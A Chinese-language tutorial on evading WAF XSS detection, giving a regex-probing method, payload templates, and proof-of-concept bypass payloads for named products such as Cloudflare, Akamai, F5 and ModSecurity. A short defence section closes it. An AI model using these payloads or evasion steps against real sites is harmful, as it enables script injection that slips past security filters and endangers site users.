看我如何绕过WAF的XSS检测机制
字数 2154 2025-08-18 11:38:28

绕过WAF的XSS检测机制高级指南

概述

本文详细介绍了绕过Web应用防火墙(WAF)XSS检测机制的系统性方法,该方法由三个阶段组成:确定Payload结构、探测和混淆处理。通过分析目标WAF的正则表达式匹配机制,构造能够绕过安全检测的XSS攻击向量。

前提知识

  • 读者需具备XSS、HTML和JavaScript基础知识
  • 文中符号说明:
    • {string}:代表Payload机制中的组件
    • {?string}:代表可选组件
    • "主要字符":Payload中必须包含的关键字符

准备工作

  1. 使用URL编码处理Payload中的不安全字符(如"+"和"&")
  2. 探测阶段建议使用无害字符串代替{javascript}
  3. 准备多种编码方式和特殊字符组合

HTML上下文分析

1. 标签外上下文

当用户输入出现在HTML标签外部时(如<span>You entered $input</span>),主要字符"<"代表HTML标签起始。

标签名检测规则探测

  1. <svg - 通过则无标签检测
  2. <dev - 失败则为<[a-z]+
  3. x<dev - 通过则为^<[a-z]+
  4. <dEv - 失败则为<[a-zA-Z]+
  5. <d3V - 失败则为<[a-zA-Z0-9]+
  6. <d|3v - 失败则为<.+

2. 标签内上下文

当用户输入出现在HTML标签属性中时(如<input type="text" value="$input">),需采用不同策略。

Payload构造机制

机制#1:事件处理器Payload

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

填充符(filler)探测

  1. <tag xxx - 失败则为{space}
  2. <tag%09xxx - 失败则为[\s]
  3. <tag%09%09xxx - 失败则为\s+
  4. <tag/xxx - 失败则为[\s/]+
  5. <tag%0axxx - 失败则为[\s\n]+
  6. <tag%0dxxx> - 失败则为[\s\n\r+]+
  7. <tag/~/xxx - 失败则为.*+

事件处理器检测

  1. <tag{filler}onxxx - 失败则为on\w+;通过则为on(load|click|error|show)
  2. <tag{filler}onclick - 通过则无事件处理器检测

不常用但有效的事件处理器

  • onauxclick
  • ondblclick
  • oncontextmenu
  • onmouseleave
  • ontouchcancel

常用Payload结束符

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

机制#2:脚本引用Payload

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

或使用<object>标签:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

机制#3:JavaScript伪协议Payload

明文结构

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆结构

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文Payload

机制#1

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

机制#2

{quote}{delimiter}{javascript}//

示例:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

实际WAF绕过案例

  1. Cloudflare

    • Payload: <a"/onclick=(confirm)()>click
    • 技术: 非空格填充
  2. Wordfence

    • Payload: <a/href=javascript&ampcolon;alert()>click
    • 技术: 数字字符编码
  3. Barracuda

    • Payload: <a/href=&#74;ava%0a%0d%09script&ampcolon;alert()>click
    • 技术: 数字字符编码
  4. Akamai

    • Payload: <d3v/onauxclick=[2].some(confirm)>click
    • 技术: 黑名单缺少事件处理器+函数调用混淆
  5. Comodo

    • Payload: <d3v/onauxclick=(((confirm)))``>click
    • 技术: 黑名单缺少事件处理器+函数调用混淆
  6. F5

    • Payload: <d3v/onmouseleave=[2].some(confirm)>click
    • 技术: 黑名单缺少事件处理器+函数调用混淆
  7. ModSecurity

    • Payload: <details/open/ontoggle=alert()>
    • 技术: 黑名单缺少标签或事件处理器
  8. dotdefender

    • Payload: <details/open/ontoggle=(confirm)()//
    • 技术: 黑名单缺少结束标签、事件处理器和函数调用混淆

高级绕过技术

  1. 数字字符引用:将关键字符转换为HTML实体编码
  2. 大小写混淆:混合使用大小写字母绕过简单正则
  3. 非常规空白符:使用%09(Tab)、%0a(LF)、%0d(CR)等替代空格
  4. 函数调用混淆:使用(alert)((alert))[1].map(alert)等形式
  5. 标签/属性黑名单绕过:使用不常见但有效的HTML标签和属性

防御建议

  1. 实施严格的输入验证和输出编码
  2. 使用内容安全策略(CSP)
  3. 不要依赖黑名单,采用白名单机制
  4. 规范化所有输入数据
  5. 定期更新WAF规则以应对新型攻击向量

参考资料

  1. HTML规范
  2. 数字字符引用标准
  3. OWASP XSS防护指南

通过系统性地应用这些技术,可以有效绕过大多数基于正则表达式的WAF XSS防护机制。安全研究人员应使用这些知识来加强防御而非进行恶意攻击。

绕过WAF的XSS检测机制高级指南 概述 本文详细介绍了绕过Web应用防火墙(WAF)XSS检测机制的系统性方法,该方法由三个阶段组成:确定Payload结构、探测和混淆处理。通过分析目标WAF的正则表达式匹配机制,构造能够绕过安全检测的XSS攻击向量。 前提知识 读者需具备XSS、HTML和JavaScript基础知识 文中符号说明: {string} :代表Payload机制中的组件 {?string} :代表可选组件 "主要字符":Payload中必须包含的关键字符 准备工作 使用URL编码处理Payload中的不安全字符(如"+"和"&") 探测阶段建议使用无害字符串代替 {javascript} 准备多种编码方式和特殊字符组合 HTML上下文分析 1. 标签外上下文 当用户输入出现在HTML标签外部时(如 <span>You entered $input</span> ),主要字符" <"代表HTML标签起始。 标签名检测规则探测 <svg - 通过则无标签检测 <dev - 失败则为 <[a-z]+ x<dev - 通过则为 ^<[a-z]+ <dEv - 失败则为 <[a-zA-Z]+ <d3V - 失败则为 <[a-zA-Z0-9]+ <d|3v - 失败则为 <.+ 2. 标签内上下文 当用户输入出现在HTML标签属性中时(如 <input type="text" value="$input"> ),需采用不同策略。 Payload构造机制 机制#1:事件处理器Payload 填充符(filler)探测 <tag xxx - 失败则为 {space} <tag%09xxx - 失败则为 [\s] <tag%09%09xxx - 失败则为 \s+ <tag/xxx - 失败则为 [\s/]+ <tag%0axxx - 失败则为 [\s\n]+ <tag%0dxxx> - 失败则为 [\s\n\r+]+ <tag/~/xxx - 失败则为 .*+ 事件处理器检测 <tag{filler}onxxx - 失败则为 on\w+ ;通过则为 on(load|click|error|show) <tag{filler}onclick - 通过则无事件处理器检测 不常用但有效的事件处理器 : onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel 常用Payload结束符 机制#2:脚本引用Payload 或使用 <object> 标签: 机制#3:JavaScript伪协议Payload 明文结构 : 混淆结构 : JavaScript上下文Payload 机制#1 机制#2 示例: 实际WAF绕过案例 Cloudflare Payload: <a"/onclick=(confirm)()>click 技术: 非空格填充 Wordfence Payload: <a/href=javascript&ampcolon;alert()>click 技术: 数字字符编码 Barracuda Payload: <a/href=&#74;ava%0a%0d%09script&ampcolon;alert()>click 技术: 数字字符编码 Akamai Payload: <d3v/onauxclick=[2].some(confirm)>click 技术: 黑名单缺少事件处理器+函数调用混淆 Comodo Payload: <d3v/onauxclick=(((confirm)))``>click 技术: 黑名单缺少事件处理器+函数调用混淆 F5 Payload: <d3v/onmouseleave=[2].some(confirm)>click 技术: 黑名单缺少事件处理器+函数调用混淆 ModSecurity Payload: <details/open/ontoggle=alert()> 技术: 黑名单缺少标签或事件处理器 dotdefender Payload: <details/open/ontoggle=(confirm)()// 技术: 黑名单缺少结束标签、事件处理器和函数调用混淆 高级绕过技术 数字字符引用 :将关键字符转换为HTML实体编码 大小写混淆 :混合使用大小写字母绕过简单正则 非常规空白符 :使用 %09 (Tab)、 %0a (LF)、 %0d (CR)等替代空格 函数调用混淆 :使用 (alert) 、 ((alert)) 、 [1].map(alert) 等形式 标签/属性黑名单绕过 :使用不常见但有效的HTML标签和属性 防御建议 实施严格的输入验证和输出编码 使用内容安全策略(CSP) 不要依赖黑名单,采用白名单机制 规范化所有输入数据 定期更新WAF规则以应对新型攻击向量 参考资料 HTML规范 数字字符引用标准 OWASP XSS防护指南 通过系统性地应用这些技术,可以有效绕过大多数基于正则表达式的WAF XSS防护机制。安全研究人员应使用这些知识来加强防御而非进行恶意攻击。